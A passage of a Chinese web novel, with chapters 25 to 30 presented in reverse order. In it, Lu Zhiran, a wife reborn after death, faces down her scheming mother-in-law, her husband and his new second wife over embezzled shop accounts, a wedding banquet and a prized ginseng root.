传言中,她乃商户女所出,行为粗鄙,上不得台面,不堪良配,而今乍一见,不少人都为之惊艳。 这番容貌气度,与粗鄙哪里沾得上半点关系? 有见过赵书宁之人都觉得,她比今日的新娘子都丝毫不逊色。 楚云清今日亦是精心装扮了一番,她头上戴着那套金丝八宝攒珠头面,身上穿的是最新款四季如意蜀绣罗衫,哪怕温度骤降,这身略显单薄,她依旧咬牙穿着,只为成为全场最大的焦点。 但陆知苒一来,大家的注意力全都落在了她的身上。 楚云清的脸上顿时笼上了一抹阴郁,但想到今日侯府贵客盈门,她就只能把心中郁气压了下去。 但有人却跳了出来主动找茬。 一道满含恶意的声音自身后传来,“今天这样的好日子,你怎么还好意思出来见人?” 这道声音,陆知苒再熟悉不过,她的眸底笼上一片晦暗。 回头,看着眼前之人。 对方穿着一身藕粉衣裳,瓜子脸,丹凤眼,眉眼上挑看着自己,眸底都带着股鄙夷不屑。 她是姜氏的亲侄女,楚云清的表姐姜锦年。 姜家只是京城的小门小户人家。 前世,陆知苒对姜锦年一直是客客气气的,可她却仗着姜氏的关系,屡屡在自己面前耍威风,半点敬意也无。 陆知苒眼神冷淡地看着她,“我为何不好意思出来见人?我做了什么见不得人的勾当吗?” 姜锦年没想到她竟会如此直接反问,那股子神色与态度,与往常怯懦柔弱截然不同。 短暂愣怔之后,便是一阵恼怒。 “谁不知道你小心眼又善妒,先前还想方设法地阻挠这场喜宴,现在你装得跟没事人似的,我看你就是打的旁的主意,想要搅局!” 二人这番争执很快吸引了周围宾客们的注意,大家都竖起耳朵听着,唯恐错过了什么了不得的阴私秘密。 陆知苒似笑非笑地看着对方,“你展开说说,我如何想方设法阻挠这场喜宴?” “你刻意给侯府采买使绊子,害得采买险些没能在宴席开始之前把酒水食材备齐,这事你承不承认?” 众人一听,竟有此事? 看来,她并不似表面上看起来这么人淡如菊。 陆知苒蹙眉,“姜大小姐,有件事你或许搞错了,自从夫君归家,我便已经把侯府的中馈之权交还给了母亲,至此从未插手过侯府上下任何事。” 姜锦年重重地哼了一声,“你胡说,清儿亲口与我说的,还能有假?清儿,你来说,到底有没有这回事?” 第30章 竹篮打水一场空 “原本我可以借着这次机会治好邢老太爷,为侯府铺出一条更好的人脉,现在全被你耽搁了,你真是侯府的扫把星!” 赵书宁一张嘴就给她扣了一顶大帽子,千错万错,全都成了陆知苒的错。 陆知苒也不得不佩服她这颠倒黑白的能力。 “且不说我的人参该不该给你,就算给了你,你也未必当真能治好邢老太爷的病,这份功劳不一定能落到你的头上。你把那份假设的功劳算在你的头上,借此向我发难,这是不是有些太没道理了?” 赵书宁扬声反驳,“你敢质疑我的医术?我连当初的西平疫情都能平复,岂会连一个小小卒中都治不了?侯府本可以顺利与邢家搭上线,现在却因你全毁了!” 陆知苒条理清晰地反驳,“首先,你在我的人参卖出去之后才来寻我,是你消息滞后,晚了一步,责任在你,不在我。其次,你不敢在得知此事的第一时间就毛遂自荐,这才让旁人抢了先机,是你魄力不够,能力不足,责任亦是在你。” “所以,侯府这次大好的机会,是被你自己亲手断送的,与我半分不相干,你便是心中不快,想要撒气,也别想算在我的头上,我不认。” 赵书宁被她反驳得哑口无言,旋即涌上一股羞恼。 “你休要逃避责任!” 陆知苒淡声反驳,“此事无论横算竖算也算不到我的头上,真正逃避责任的人是你。你若当真硬气,就应该寻到那位治好邢老太爷的大夫,与对方在医术上正面较量一番,而不是跑到我跟前,像疯狗一样撒气。” 赵书宁发现自己在陆知苒面前半点便宜都占不到,她因功劳被抢所带来的愤怒无法得到转嫁和纾解,整个人憋得几乎要爆炸。 没有回自己的青黛阁,而是抬步去了楚翊安的世安居。 明日便是他们成亲的日子,按理说他们不该见面,但他们的情况特殊,也就没那么讲究。 楚翊安正在练字,他觉得自己最近有些心浮气躁,需要好好沉静下来。 正渐入佳境,外面就传来了脚步声,他的思绪被打断,一副即将完成的好字也落下一滴墨迹。 这帖字彻底毁了,楚翊安的好心情也消失无踪。 “我不是说过不要来打扰我的吗?” 房门被推开,赵书宁走了进来,她的脸上依旧残存着怒意。 “翊安,是我。” 见到她,楚翊安勉强压下了心头的怒意,换上了和缓的语气。 “书宁,你怎么了?谁惹你生气了?” “除了陆知苒,还能有谁?” 楚翊安一听到她的名字,眉头就立马蹙了起来,心头更添了几分厌恶和烦躁。 “她又做了什么事?” 赵书宁便将事情原原本本尽数道来,楚翊安听了,心头顿时涌起一阵深深的失望。 邢老太爷的病竟然被旁人治好了! 书宁彻底失去了这个机会,侯府也错失了与邢大人结交的良机。 “若非陆知苒,我怎会错失这般良机?” 楚翊安心口堵着一团郁气。 他对赵书宁的医术无条件信任,他已经把邢家的功劳视作囊中之物。 但现在,一切却是竹篮打水一场空,这种感觉,比从未拥有过更加让人失望。 “她果然克我!” 赵书宁立马道:“那就把她休了!” 楚翊安长长吐出一口气,最后却是摇头,“我何尝不想?但眼下的确并非良机。若此时休妻,旁人定会非议你善妒不容人,你会被人在背后戳脊梁骨。” “我不在乎!我是有真本事之人,名声于我而言根本不算什么。” 楚翊安握住她的手,一脸深情,“可是我在乎。书宁,我不希望你因我蒙上半分瑕疵。” 更何况,就算她无所畏惧,楚翊安却有顾忌。 他刚入朝堂,不希望因为内宅之事被言官参奏。 赵书宁不知他心中的全部想法,只觉满心感动。 可是一想到陆知苒,她心中便如同扎了一根刺,不除不快。 既然不能直接休了她,那就让她身败名裂,到时候侯府再将她扫地出门,就顺理成章,无人置喙。 翊安性情耿直,行事光明磊落,定不会做那等阴私之事,既如此,便交由她来办。 赵书宁的心中转过几番思量,面上却半分不露。 翌日,楚翊安和赵书宁大喜之日到了。 天气陡然变冷,侯府下人们早早起身忙碌,一个个冷得直呵气。 不禁有人嘀咕,“今年这天儿可真是怪,前段时间都还那般暖和,今日一下就冷得人直哆嗦。这日子选得,可真是……” “嘘,你少说两句,万一被主子听到了,有得你挨板子的。” 那人立马噤声,很快忙活起来。 玉笙居,陆知苒被外头热闹的动静吵醒。 她拥被坐起,双眼空洞茫然,整个人透着股不谙世事的懵懂。 翠芙和丹烟听到动静入内,见她神色,便知自家小姐没睡好。 翠芙很是心疼,“又不是真正的成婚,搞得这般兴师动众,平白扰了小姐好梦。” 丹烟也重重哼了一声,“便是张罗得再隆重,也定然比不上当初咱们小姐的喜宴。” 翠芙立马剜了她一眼,丹烟也自知失言,懊恼地咬了咬唇。 陆知苒却不在意,她早已不在乎了,自然无所谓。 她开口宽慰了丹烟,丹烟这才放下心来。 翠芙问,“小姐,您待会儿真的要出席吗?” 陆知苒还尚未回答,金嬷嬷就脚步匆匆地入内,脸上还挂着一抹愠怒。 “小姐,老爷又派魏嬷嬷来给您传话了,奴婢听得实在气人,一怒之下就把人打发了。” 陆知苒:“可是父亲交代我要宽和大度,今日要体面地出席宴席,招待宾客?” 金嬷嬷脸色难看地点头。 原话比这难听,她自然不会说出来污了小姐的耳朵。 陆知苒的面色冷了几分,翠芙和丹烟亦是露出愤愤之色。 她爹果然一如既往地自私自利,他所思所想,都是自己的利益,根本不会在意自己这个女儿的死活。 她淡淡开口,“既然父亲下了令,我自然不敢不从。” 这么多人想让她露面,她便如了他们的愿,只是,他们想踩着自己做好名声,就没那么容易了。 第29章 功劳被人截胡了 一句话几乎快把楚翊安点炸了。 他咬牙切齿,“你别以为我真的不敢休了你!” 陆知苒:“请便。两位,慢走不送。” 眼见陆知苒转头就要走,赵书宁恼怒大喊,“你怎么能这么自私?就为了与我争高下,你把翊安的差事搅黄不说,现在补救的机会就摆在你面前,你还要任意妄为,你非要把我逼走才肯善罢甘休吗?” 楚翊安一把抓住赵书宁的手,语气铿锵,“就算要走,也是这个女人走,与你何干?” 他转而看向陆知苒,眼底满含冷意。 “陆知苒,既然你这般软硬不吃,不识好歹,那就不要怪我对你不留情面。我这便派人去陆家,让陆大人亲自把你接回去!我们侯府庙小,装不下你这尊大佛。” 这女人敢一再拿乔,不把自己放在眼里,那自己偏就不惯着她! 陆知苒心里冷笑,如果是之前,楚翊安的这句话还会让她有所忌惮。 毕竟赵书宁索要人参,为的是救治邢老太爷,她父亲本就想巴结邢大人,届时,他势必会站在他们那边,联合对自己施压。 但她这支人参,刚好就是卖给的邢老太爷,以她自己商铺的名义。 她父亲那么会算计的人,又怎会搭理他们! 见她一时没说话,楚翊安以为她的软肋在陆家,大发慈悲般地开口,“我再给你一次机会,把那株人参拿出来,若书宁立功,你也能跟着沾光。” 陆知苒无语。 “我有什么必要与你们说谎?人参我真的已经卖了,你们爱信不信!” 她的这番表现总算让二人相信了她的话。 赵书宁顿时像是被兜头浇了一盆冷水,失望到了极致。 她把一切都计划好了,只要拿到这根人参就能万事俱备,可偏偏,陆知苒竟然把人参卖了! 赵书宁气急败坏,“你怎么不早说!” 陆知苒:? “一开始我就告诉你了,是你自己不信啊。” 赵书宁恨恨道:“你可真是成事不足!” 撂下这话,她便转身快步离开,连楚翊安也顾不上。 她要想办法尽快弄到一根百年人参,哪怕是花重金,也要买到! 二人一走,陆知苒的面色也笼上一层阴郁。 原本她还不急不躁,现在心头却是添了一股紧迫。 她不能再继续这样等着鱼儿自己上钩,她必须要再推一把,促成此事。 不然,若事情依旧照着前世那般发展,让赵书宁抢了先,她就是做了一场无用功了。 陆知苒急忙唤来金嬷嬷。 “奶娘,你去把福贵唤来。” 金嬷嬷匆忙去了,回来时竟带回一个意外的好消息。 “小姐,大喜,福贵传来消息,胡桃巷子的那位去了邢家,给邢老太爷看病去了。” 陆知苒一听,立马精神一振。 “当真?竟这般快?” 她方才还在想如何才能促成此事,没成想,事情竟然办成了? 金嬷嬷:“谭管事说,此事背后似乎还有旁人的手笔,他怀疑或许是先前曾暗中给他透露消息那人所为,只是对方行事隐蔽,谭管事也没法确定。” 陆知苒闻言,也不知自己该庆幸还是该懊恼。 往好的方面想,他们截了赵书宁的胡,她想借此机会立功,再无可能。 但往坏的方面想,这个举荐之功也没有落到自己的头上。 她再没了与邢家攀上关系的筹码。 这也说明一直有一双眼睛在背后盯着自己。 她本以为自己是能捕蝉的螳螂,却不想后头还有一只黄雀。 对方到底是谁? 她再次开始回忆和梳理前世的记忆,但实在全无头绪。 “小姐,此事是否要继续深查?” “查!” 她不想这般一直不明不白地被人窥视,对方究竟是敌是友,她总要弄清楚。 事已至此,陆知苒便宽慰自己,凡事往好处想。 只要赵书宁没有抢到功劳,她这一局就不算输。 第二天,陆知苒还在等谭旭文给自己送消息,赵书宁就冲到玉笙居,满脸愤怒地责问她。 “你为什么不告诉我,你的人参是卖给了邢家?” 陆知苒一副疑惑的神色,“邢家?哪个邢家?我并不清楚。” 赵书宁根本不信,“那是你的铺子,又是那么大的买卖,你怎么可能不知道?” “我只需要知道东西卖出去了,至于卖给谁,我并不关心。怎么,邢家有什么问题吗?” 赵书宁恨恨地剜向她,“邢家老太爷便是我昨日说的病人,他身患卒中,若我知道你已经把人参卖给了邢家,就可以直接登门毛遂自荐,为其诊治!我定能把他治好!” 陆知苒:“现在也不晚啊。” 赵书宁咬牙切齿,“已经晚了!昨夜邢家请了一位不知什么来路的大夫,把邢老太爷治好了!” 陆知苒故作不相信的模样,“卒中怎么可能一夜治愈?” “我亲眼所见,还能有假?” 她的语气既愤恨又酸溜溜,更带着一股深深的不服气。 原本她以为,除了自己定然没人能治好卒中之症。 经过一晚上的挣扎犹豫,她还是决定搏一搏,是以她主动请缨,前往邢家为邢老太爷诊治。 但她却看到了已经恢复清醒的邢老太爷。 他甚至已经能开口说话,且口齿清晰,并未有嘴歪眼斜,口水直流的丑态。 那番状态,谁能相信他曾是卒中患者? 赵书宁有些失态地追问,这才得知昨夜已有一名大夫来给邢老太爷诊治,正是那人治好了对方。 赵书宁明知失礼还是追问了其身份,却没得到答案。 她不禁想,如果自己抢先一步为邢老太爷诊治,定然也能把他治好。 她对那位身份不明的同行生出了深深的危机感,更是迁怒到了陆知苒的身上。 若非她在这个关头把人参卖了,自己又怎么可能错过良机? 陆知苒从赵书宁的口中确认了邢老太爷的情况,心中也不由微微舒了口气。 毕竟此事有自己的手笔,若因她一己之私,让邢老太爷发生意外,她也会因此愧疚自责。 幸而没有,他恢复得比前世好太多,而赵书宁则是因此事气得跳脚。 第28章 一定要得到那株人参 赵书宁顿时大失所望,但她又不甘心,“你想来对侯府库房的东西也不甚清楚,还是先去问问母亲吧。” 楚翊安心中虽然不抱希望,但还是派人去永福居询问了一番。 小厮很快带来了回信。 “夫人说,侯府并无百年人参。” 赵书宁最后一丝希望也破灭了。 但紧接着,那传话小厮又补了一句,“不过夫人说,少夫人的陪嫁里有一株五百年的老参。” 赵书宁眸底的失望顿时化作满满的惊喜。 五百年的老参,那可是救命的好东西!有了这株人参,她便能有十足的把握! “太好了,翊安,咱们去玉笙居走一趟,定要让陆知苒把那株人参交出来。” 她说着抬步就要往外走,楚翊安却是脸色黑沉地拦住她。 “不必白费力气了,她不会给的。” 赵书宁理所当然,“她为什么不给?这是有利于侯府未来,也有利于你的前途的大好事。若治好了邢大人,她也能有一份功劳。” 楚翊安面露嘲讽,“她若有你一半懂事就好了。” 他抬起受伤的右手,“我这伤,便与她脱不开干系。” 他将今日发生之事道出,说到最后,他又添了满肚子郁气。 “她自私自利,更是嫉妒你得了我的宠爱,断然不会想看到你大出风头。” 赵书宁的思路却是完全跑偏了。 她心底升起一股隐隐不舒服的感觉,“我拿出的那笔银子呢,何至于要到她的铺子里赊账?” 那般多银子,办一场宴席还不够?? 赵书宁不禁怀疑起那笔银子的真正去向,同时更有种自己在陆知苒跟前丢脸了的屈辱。 楚翊安到底没管过家,对操办宴席的花用亦不甚清楚,他便用姜氏的那套说辞解释了一番。 赵书宁依旧觉得心中不痛快,“就算如此,难道侯府当真就一点银子都拿不出来?再不济,母亲自己一点私房银子都没有?” 姜氏这般一毛不拔,只想变着法儿从陆知苒身上捞好处,这让赵书宁后知后觉地反应过来,或许,自己与当初的陆知苒一般无二,也是被她占了便宜的冤大头。 赵书宁的语气不佳,楚翊安心底也生出几分不悦来。 “若此事尚有转圜,她定然也不会愿意对陆知苒低头。母亲为我们操劳宴席,可谓尽心尽力,你不应当这般质疑她。” 赵书宁满腔的话都尽数咽了回去。 现在不是计较这个的时候。 她深吸了一口气,把话题重新拉了回来。 “我一定要得到那株人参,你必须帮我拿到,这是一次千载难逢的好机会。” 楚翊安想到陆知苒最近的大逆不道,顿时一阵头大。 “现在那女人就是一块滚刀肉,我根本拿她无可奈何。” 赵书宁不屑冷哼,“这一切都是她的伪装罢了,我不信她真的有这番魄力,敢与侯府彻底决裂。” 只要她还想在侯府讨生活,就必然不敢无所顾忌。 玉笙居,陆知苒接连打了好几个喷嚏。 许是姜氏又在骂她了吧。 翠芙却担心自家小姐冷,立马到衣橱里给她寻了一件厚实些的外衫。 “这几日天气慢慢凉了,奴婢这下是真信了您的推断,今年定是个寒年。到时候咱们囤的那些棉花和炭可就能卖个好价钱了。” 陆知苒灿然一笑,“听我的,错不了。” 今日她的心情甚好,料理了何管事等一众蛀虫,还狠狠打了姜氏的脸。 方才,福贵还传来了另外一个好消息,她的那株人参卖出去了,买家正是邢家。 他们也照着陆知苒的吩咐,把胡桃巷子有一神医之事告知了对方。 不出意外的话,邢大人会请那人去试一试。 陆知苒已经牵好了线,搭好了桥,接下来就只能静待花开了。 正这时,外头又来了两位不速之客。 陆知苒浑身的懒散立马一扫而空,心底闪过一抹厌烦。 有完没完了这是。 赵书宁也不跟她寒暄,直奔主题。 “听说你的嫁妆里有一株五百年的人参?” 陆知苒闻言,眸光微动。 原来是为了这个而来,看来,她也听说了邢老太爷的病情。 也是,她行走于太医院,对此事有所耳闻也并不奇怪。 陆知苒:“曾经有,不过不巧,前两日我刚让人拿到了铺子里售卖,现如今已经卖掉了。” 赵书宁大惊,“什么?怎么会这么巧?你是不是在骗我?” 陆知苒面露疑惑,“这是我的嫁妆,如何处置都是我自己的事,我犯得着骗你?” 赵书宁一噎。 她不再与陆知苒争辩,直接提出自己的要求,“我有个病人需要用到人参,那个病人十分重要,关涉到侯府的未来和翊安的前程,你把人参拿出来,若我治好了那位病人,你也算立了一桩大功劳。” 陆知苒基本上可以断定,她的确是为了邢老太爷而来。 “是我说得不够清楚,还是你听不懂人话?我那株人参已经卖出去了,我拿什么给你?” 更何况,就算人参还在,自己也不会拱手让人。 赵书宁沉了沉眸,“你又不缺银子,好端端的怎么会突然卖人参?你敢不敢让我去你库房搜一搜?” 陆知苒简直要被她的逻辑折服了。 “那是我的库房,凭什么让你搜?” 赵书宁立马一口咬定,“你果然心虚了!” 陆知苒淡淡看着她,“不是我不敢,而是你不配。” 还想搜她库房,多大的脸! 楚翊安一直沉着脸看着她们交锋,眼见赵书宁同样在陆知苒手底下吃瘪,他生出一种果然如此的同病相怜之感。 他早说过了,陆知苒这女人现在不好对付,她是不见兔子不撒鹰。 赵书宁深吸了一口气,不得不做了让步。 “你到底要怎样才愿意把人参拿出来?我买总行了吧!但你可要想好了,我若买下,以后此事的半分功劳都落不到你的头上。” 陆知苒一脸真诚地看着她,“你不妨先给自己瞧一瞧,看看你的耳朵和脑子是不是有什么问题。不然怎么总是听不懂人话?” “你……” 楚翊安沉声开口,“陆知苒,你不要太过分!” 陆知苒又礼貌地补了一句,“顺便也帮他看看,他的脑子和耳朵也不大好使。” 第27章 光脚的不怕穿鞋的 硬生生地把这口气咽了下去,姜氏换上了一副态度。 “并非母亲要为难你,而是侯府的确有些困难,一时拿不出这么多银子。这是安儿回京之后的第一次宴席,京城那么多双眼睛都瞧着,这场宴席不能办得草率了,叫人看轻了安儿。你就当为了安儿的前程想想吧。” 她这话明着是示弱,但却大有挑拨之意。 果然,楚翊安听到自己母亲这般低声下气地求人,只觉得既心疼又愤怒,他所有的火气都落在陆知苒的身上。 “陆知苒,母亲都亲口求你了,你还想怎样?你非要闹得家宅不宁才甘心吗?” 陆知苒冷冷道:“我从来没让谁求我,你们求了,那也是你们自己的事,与我何干?别人求我我就得答应,那人人都来求我,我岂不是要把命都交出去?” 楚翊安不可置信,“你……那是别人吗?那是你婆母!母亲视你如亲女,你岂能如此不孝?” 陆知苒已经完全失去了与之虚以为蛇的耐心。 “若当真视我如亲女,就不会一而再再而三地以侯府的前途来压我,叫我为难。” 这话简直是把姜氏的脸面按在地上狠狠地踩,双方算是彻底撕破了脸。 姜氏气得嘴唇都在哆嗦,“你,你……好好好,你很好!” 楚翊安怒不可遏,“如此不孝不悌,我定要休了你!” 陆知苒腰杆挺直,神色傲然,“你当真敢休,我敬你是条汉子!” 这三年,她兢兢业业操持庶务,侍奉公婆,他一回来就抬平妻,为其请封诰命,补办喜宴。 若他还敢在这个关头休妻,那言官的唾沫星子都能把他淹了! 陆知苒了解这个男人,他不会这么做。 他即便是要休妻,也会暗中谋划,把错处栽赃到别人身上,他半点错处都不沾染。 楚翊安的面皮狠狠抖动,袖中拳头亦是握得咯咯作响。 只觉胸中有一团熊熊怒火在燃烧,烧得他快炸了。 曾经,他也被这个女人的外表所迷惑,现在,他只觉得对方实在面目可憎! 陆知苒不再管他们难看的脸色,直接告退离开了。 她一走,楚翊安便一拳砸在小几上,瞬间将小几砸得四分五裂,他的手上亦是渗出血来。 姜氏一下从震怒中回神,急忙命人去准备伤药。 “安儿,你便是再如何恼怒,也不能拿自己的身体撒气。” 楚翊安根本察觉不到手上的疼痛,如此发泄一通,依旧没法驱散胸中郁气。 “儿子是气自己当初识人不明,竟以为陆氏是个好的。” 姜氏何尝不气?陆知苒已经彻底失控,一颗不受控制的棋子,连废棋都不算,只有彻底除掉方能安心。 但眼下,也的确不是好时机。 这口气,他们就只能暂且忍下。 姜氏长长叹了一口气,“当初你祖父在苏州受过洛氏的恩惠,这才把你的亲事许了出去,谁能料想她会是如此品性。不提她。眼下,最要紧的是解决宴会所需食材问题……” 归根结底,就是银子的问题。 “安儿,你看……” 楚翊安眉峰一跳,立马道:“书宁已经出了一笔银子,不能再去向她伸手。” 姜氏也不过是稍稍试探一番,很快也打消了这个主意。 羊毛不能光逮着一只羊薅,若是把人逼急了,以后再想从她身上捞好处就不好办了。 其实,赵书宁当初给的那笔银子完全足够了,只是姜氏不想全都拿出来罢了。 她习惯了在陆知苒的铺子里白拿东西,自然不想再掏银子买。 只是没想到,今日却是踢到了铁板。 楚翊安:“银子的事,儿子来想办法。” 生怕他再去向同僚开口,姜氏赶紧把此事揽到了自己身上。 “母亲有法子,此事你无需多管。你的目光当放在外头的事业上,不要把太多的精力花在内宅这些琐事上。” 楚翊安沉默了。 他也不欲多管这些,但母亲每每都派人来传自己,他便是想避也避不开。 回到玉笙居,陆知苒便立马吩咐金嬷嬷,“让福贵给谭叔递话,开始全面收网。” 此事已然开了头,就要一鼓作气,将所有人一网打尽。 更何况,她与姜氏已经撕破了脸,她就没必要再留余地了。 经此一事,她在侯府的境地会越来越艰难,但她光脚的不怕穿鞋的。 大不了就跟他们拼命,她已经死过一回,没有什么好怕的。 傍晚时分,赵书宁踏着夕阳回到侯府,她第一时间去了世安苑,寻到楚翊安。 “翊安,侯府可有百年人参?” 她的神色急切,一把抓住了楚翊安的手。 楚翊安轻嘶了一口气,赵书宁这才注意到他右手上包着纱布。 “你的手怎么了?” 楚翊安的眼底顿时笼上一抹愠怒,语气更是难掩嫌恶,“不提也罢。你需要百年人参?可是哪位贵人用得上?” 赵书宁立马猜到,只怕又与陆知苒有关。 她也顾不上多问,“我在太医院听说,吏部尚书邢大人的父亲前两日突发中风,太医院的太医们都束手无策,我想去试一试,需要一株百年人参。” “若我能把邢大人的父亲治好,不仅能抬高我的声望,还能跟邢家就搭上线了,邢大人掌管着官员升迁考核,有了这层关系,你以后的升迁就能更加顺利了!” 她两眼亮晶晶的,眸底藏满了势在必行的野心。 楚翊安亦是眸光微亮,原本今日沉郁的心情似是撕开了一道口子,一束希望的光芒照了进来。 他看着赵书宁,眸底充满了无法言说的感动。 “书宁,能遇到你,实乃我三生之幸。” 赵书宁面上微赧,心头更是漾起一股甜蜜。 “我说过,我与普通后宅女子不同,我不是只能依附你的藤蔓,而是能与你并肩的大树。” 楚翊安看着她,眸中更加动情。 赵书宁急切追问,“中风之症不好治,我需要一株百年人参,若是没有,我也并无把握。侯府的库房定然有的,对不对?” 楚翊安立马从温情中抽离,回到了冰冷的现实。 他的面色有些尴尬,“据我所知,侯府并没有百年人参。” 第26章 扯下最后一层遮羞布 金嬷嬷越说嗓门越大,颇为义愤填膺。 那些可都是自家小姐的银子啊,全被这些蛀虫贪墨了去。 这还只是能搜出来的,被花掉了的银子还不知道有多少呢! 听了这番话,楚翊安的脸色简直黑得跟锅底似的,再找不到找补的话了。 姜氏恨恨咬牙,好个陆知苒,以往闷不吭声的,冷不丁就给自己来这么一记闷棍,她可真是好样的! 这还不算完,金嬷嬷露出一抹微微迟疑的神色。 “还有一件事,奴婢不知该说不该说。” 姜氏满肚子的火,连平日的伪善都懒得装了。 “有什么话就说,吞吞吐吐做什么?” 金嬷嬷被训了也不在意,依旧声如洪钟地回禀,“何管事还交代了一桩事,他说这些年侯府在茶庄里买的茶叶都是赊账,从未结过尾金,但他是夫人您的人,便想法子替夫人把这些账面抹平了。” 这话简直是把姜氏最后一层遮羞布给扯了下来,她的脸色瞬间变了。 “胡说八道!” 她已然不如先前镇定,但却必须强撑着,决不能松口承认这件事。 一旦承认,侯府不仅要把那笔银子补上,她的颜面也会被狠狠踩在脚底,再也捡不回来了。 她转头看向文嬷嬷,语气严厉,“采买之事都是李大牛在管,银子也是经他之手,现在却多了这么一笔糊涂账,你说,到底是怎么回事?问题出在谁的身上?” 文嬷嬷一个激灵,立马“扑通”跪地,砰砰砰磕了一串响头,语气诚惶诚恐,“夫人明鉴,我家那口子素来老实本分,断然不敢蒙蔽夫人!就,就算他真的要贪,最多也只敢贪些蝇头小利罢了,断然不敢贪墨这么一大笔银子啊!” 文嬷嬷比任何人都清楚,侯府压根就没有分拨过那笔银子。 这些年,侯府都是在少夫人的铺子里白吃白拿。 但现在少夫人不肯吃这个闷亏,要把天捅破了,自然需要一个替死鬼。 文嬷嬷可不希望她家男人当这替死鬼! 姜氏也并非真的要发难李大牛,她如此发作一番,不过是为了做戏做全套,撇清自己罢了。 何管事已然是一枚弃子,这口黑锅自然要全推到他的头上去。 文嬷嬷大声控诉,“此事定是何管事所为,那些银子,十有八九都进了他的口袋!” 姜氏的胸口上下起伏,语气也添了几分急促。 “好个何顺,我以前真是错看他了!” 陆知苒将姜氏的把戏看在眼底,但她并不拆穿。 她今日的目标本就直指何顺。 把他从自己的茶庄扫地出门,再让他把以前吃进去的全都吐出来。 借此机会,再把其他铺子的情况都摸一遍,顺理成章地把姜氏安排的人统统料理了。 她这些年亏的银子,只要能要回来就行,至于这些银子是姜氏还是何顺,抑或是其他人出,她并不在意。 陆知苒一脸真诚地看着姜氏,“原来那笔银子竟是被何管事贪墨了去,此前是儿媳冤枉母亲了。这么看来,其他铺子的银子的去向也有必要好好查一查了,可不能叫母亲既出了银子,又担了骂名。” 姜氏一听这话,立马一个激灵清醒了。 她得赶紧传信出去,不能再叫他们被抓了把柄。 不过,一切为时已晚了。 姜氏勉强扯出一个僵硬表情,“是该好好查一查。” 闹了这么一出,姜氏半点好处都没捞着,还损失了一员大将,她如何甘心? 她调整了一番面上表情,重新把话题拉了回来。 “不论如何,误会解开总是好事。过两日便是侯府的大日子,各种食材需得尽快备齐,耽误不得。这三年侯府办宴用的都是你铺子里的食材,母亲还是只相信你。” 陆知苒闻言便笑,“能得母亲信任,儿媳可真是欢喜。母亲不如现在就把李采办唤来,把采买单子和银子一并交由儿媳,儿媳立马派人跟谭掌柜知会一声,第一时间给侯府备上一批最上等的好货,如此便不会耽搁了侯府的宴席。” 见她装傻,姜氏也只能把话挑明了。 “侯府账面上一时没有这般多现银,过几日母亲再补给你。怎么,事到如今你对母亲还不信任,担心母亲会昧了你的银子?” 最后这话大有激将之意,若面皮薄之人定然就受不得激,被迫答应了。 但陆知苒现在脸皮比铜墙还厚,别人不要脸,她比别人更不要脸。 “儿媳不是不信任母亲,而是担心再冒出第二个何顺来,届时岂不影响了我们婆媳关系?还是钱货两讫更加稳妥些。” 她这般油盐不进,姜氏的面色一下沉了下去。 “母亲知道你不缺这点银子,你又何必故意如此不近人情?就算你对安儿与书宁之事依旧心存疙瘩,但这场宴席不仅仅是他们的婚宴,更是侯府向上结交的一次关键转折,你不可为了自己的一己之私便故意为难。” 听听,这话头一转,责任又落到自己身上来了,陆知苒都不得不佩服姜氏这颠倒黑白的本事。 楚翊安也沉着脸开口,“平日里你要争风吃醋,我姑且会由着你,但这次非同小可,望你以大局为重。” 不愧是姜氏养大的,他们母子俩不要脸和自以为是的程度简直不相上下。 “你们不是在与我谈生意吗?在商言商,一手交钱一手交货,这有什么不对?” 楚翊安声音沉了几分,“侯府此前并未拖欠你的银子。” 陆知苒反问,“所以呢?之前没有拖欠,这次我就一定要让侯府赊欠?以往我给侯府通融,那是情分,我现在不乐意了,那也是本分,便是说破天去,也无人可以挑剔我的错处。” 姜氏语气沉了三分,“我们都是一家人,难道连这点情分都没有?以往母亲待你如何?你这般翻脸无情,母亲实在失望。” 来来去去就是这套说辞,她没说腻,陆知苒都要听腻了。 她淡淡道:“正所谓亲兄弟明算账,儿媳这么做,不过是为了避免日后再生嫌隙。您瞧,我们的生意还没做成就已生出龃龉,如此,这桩生意便算了吧,免得日后我们的婆媳关系再受影响。” 她三言两语就把自己的话踢了回来,姜氏气得心梗。 第25章 一颗老鼠屎坏了一锅汤 陆知苒一页页翻着,念得不紧不慢,楚翊安看着那本厚厚的账册,眼底难掩震惊。 他拔高了声音,“这怎么可能?侯府到底也是京城有头有脸的人家,岂会拖欠你那点小钱?” 陆知苒眸光一转,看向姜氏,“你若不信,大可问问母亲。” 谁料,姜氏竟是矢口否认。 “简直荒唐,侯府何时欠了你这些银子?每回侯府在你的铺子里采买,可都把银子付清了。” 楚翊安听了母亲这话,怒火顿时烧得更旺,看着陆知苒的眼神更是充满了深深的失望。 “陆知苒,你竟敢伪造账册?你是想钱想疯了吗?敢算计到侯府头上来了!” 陆知苒并不搭理楚翊安,只似笑非笑地看向姜氏。 “母亲当真不记得了吗?这一笔笔的账目可都有迹可循。” 姜氏冷笑,“我便是再老眼昏花,也不至于连这么大的事都能记错。我倒是想问问你,你这所谓的账册究竟是从何而来?” 姜氏目光严厉,大有责问之意。 她丝毫不心虚,她在那几间铺子里都有人,这么些年过去,他们早就把那些账目抹平了。 陆知苒语气笃定,“这是谭管事交给我的账册,怎会有错?这几年,我京城的铺子都是谭管事在统筹打理,从未出错。” 楚翊安只觉得无比荒唐,“就凭着一个外人给的账册,你就怀疑侯府拖欠了你的银子?在你心里,一个管事竟比母亲的话更加可信?” 姜氏看着她的眼神亦满是失望,“你还是回去好好查一查这位谭管事吧,你久居内宅,不曾亲自打理商铺事宜,只怕这些年侯府花在你铺子里的那些银子,全都进了他的口袋!” 谭旭文为人精明不好糊弄,有他在,姜氏手底下的人行事都要收敛着,姜氏早就觉得他碍眼,正好借着这次机会挑拨一番,好让陆知苒自己把人给换了。 陆知苒似是无话可说,看着手中账册的眼神也多了几分怀疑。 姜氏见她终于无话可说,心中那股郁气总算稍稍纾解几分。 楚翊安看她的眼神充满嫌弃,“就你这识人能力,便是再大的产业落在你手里也要被败光!” 姜氏幽幽叹气,“我倒是给你派去了不少得力之人,能力不凡,忠心耿耿,断然不会干出这等中饱私囊之事。只可惜,那些人才一个个都被埋没,不得重用,反倒是养了一只硕鼠。” 就在这时,外头传来了一道着急的声音,“夫人,不好了,何管事的老娘在外头求见,说何管事被官府带走了!他用陈茶以次充好,糊弄客人,从中谋利……” 在看到屋中情形,那慌张的声音戛然而止。 但屋内众人该听到的也都听了个一清二楚。 姜氏脸上的表情瞬间凝固。 